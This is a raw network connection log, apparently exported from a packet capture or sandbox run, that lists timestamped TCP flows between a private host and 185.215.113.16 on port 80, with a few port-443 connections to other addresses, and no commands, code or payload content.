Nov 25, 2024 18:28:35.821314096 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.821367979 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.821377039 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.822097063 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.822184086 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.822242975 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.822768927 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.822945118 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.823008060 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.823704958 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.823781013 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.823833942 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.824407101 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.824611902 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.825187922 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.825200081 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.825237036 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.826095104 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.826107979 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.826164007 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.826687098 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.826808929 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.826875925 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.827368021 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.827497959 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.828177929 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.828239918 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.828258038 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.829066992 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.829127073 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.829185009 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.829679012 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.829793930 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.829876900 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.830516100 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.830581903 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.831223011 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.831283092 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.831348896 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.832000971 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.832058907 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.832118034 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.832458019 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.832760096 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.832853079 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.833522081 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.833600044 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.833625078 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.834371090 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.834425926 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.834487915 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.835002899 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.888838053 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.004530907 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.004647970 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.004954100 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.005044937 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.005058050 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.005115986 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.005757093 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.005769968 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.005847931 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.006457090 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.006572962 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.006828070 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.007201910 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.007265091 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.007317066 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.007903099 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.008322954 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.008373022 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.008773088 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.008934021 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.008982897 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.009660006 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.010056019 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.010130882 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.010375023 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.010385990 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.010426998 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.011090040 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.011307955 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.011369944 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.012010098 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.012022018 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.012073040 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.012554884 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.012635946 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.013289928 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.013360023 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.013628960 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.013674974 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.014250994 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.014512062 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.014560938 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.015032053 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.015186071 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.015239954 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.015991926 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.016067982 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.016350985 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.016382933 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.016396046 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.016472101 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.017123938 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.017287970 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.017352104 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.017869949 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.018126965 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.018618107 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.018657923 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.018718004 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.018913984 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.019656897 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.019741058 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.020065069 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.020483971 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.020503998 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.020556927 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.021085024 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.021218061 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.021291018 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.021667957 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.021812916 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.021898985 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.022475004 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.022799969 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.022854090 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.023261070 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.023369074 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.023493052 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.023971081 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.024023056 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.024069071 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.024732113 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.024816990 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.024912119 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.025470972 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.025532007 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.025598049 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.026290894 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.026449919 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.026633024 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.027013063 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.027163982 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.027879953 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.027892113 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.027947903 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.028549910 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.028681993 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.028733969 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.029316902 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.029454947 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.029745102 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.030086994 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.030241966 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.030294895 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.030951977 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.030962944 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.031025887 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.031579018 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.031689882 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.031749010 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.032417059 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.032614946 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.032721043 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.033368111 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.033443928 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.033613920 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.034197092 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.034209013 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.034261942 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.034759045 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.034773111 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.034828901 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.035502911 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.035515070 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.035563946 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.036211014 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.036221981 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.036262989 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.037022114 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.037034035 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.037101030 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.037689924 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.037831068 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.038038015 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.038649082 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.038661957 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.038713932 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.039244890 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.039371014 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.039524078 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.039994001 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.040080070 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.040810108 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.040860891 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.040867090 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.041218996 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.041637897 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.041695118 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.041748047 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.042350054 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.042521000 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.042582989 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.043103933 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.043262959 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.043334007 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.043942928 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.043991089 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.044312000 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.044569016 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.081618071 CET	443	49760	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.082335949 CET	49760	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.082349062 CET	443	49760	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.082807064 CET	49760	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.082812071 CET	443	49760	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.091969967 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.102683067 CET	443	49759	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.104599953 CET	49759	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.104626894 CET	443	49759	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.105067968 CET	49759	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.105072975 CET	443	49759	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.106980085 CET	443	49758	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:36.107062101 CET	443	49758	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:36.107135057 CET	49758	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:36.107389927 CET	49758	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:36.107407093 CET	443	49758	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:36.508342028 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508357048 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508368015 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508378983 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508389950 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508402109 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508418083 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508421898 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508431911 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508441925 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508452892 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508464098 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508466959 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508475065 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508486032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508496046 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508505106 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508517027 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508527040 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508534908 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508537054 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508548975 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508548975 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508558989 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508574009 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508588076 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508594036 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508605957 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508615971 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508627892 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508637905 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508640051 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508649111 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508657932 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508660078 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508671045 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508692026 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508696079 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508702993 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508721113 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508734941 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508749008 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508753061 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508789062 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508796930 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508800030 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508819103 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508831024 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508831978 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508841991 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508852005 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508862019 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508872032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508873940 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508891106 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508899927 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508902073 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508912086 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508913040 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508924007 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508941889 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508944035 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508955956 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508969069 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508971930 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508981943 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508992910 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.508996964 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.508997917 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509016037 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509027004 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509027958 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509046078 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509057999 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509069920 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509076118 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509080887 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509088993 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509098053 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509116888 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509119987 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509128094 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509139061 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509164095 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509176016 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509186983 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509186983 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509198904 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509212017 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509218931 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509231091 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509248018 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509248972 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509259939 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509265900 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509272099 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509283066 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509294033 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509294987 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509305954 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509311914 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509318113 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509327888 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509337902 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509342909 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509351015 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509361029 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509361982 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509390116 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509464025 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509475946 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509488106 CET	49752	80	192.168.2.6	185.215.113.16
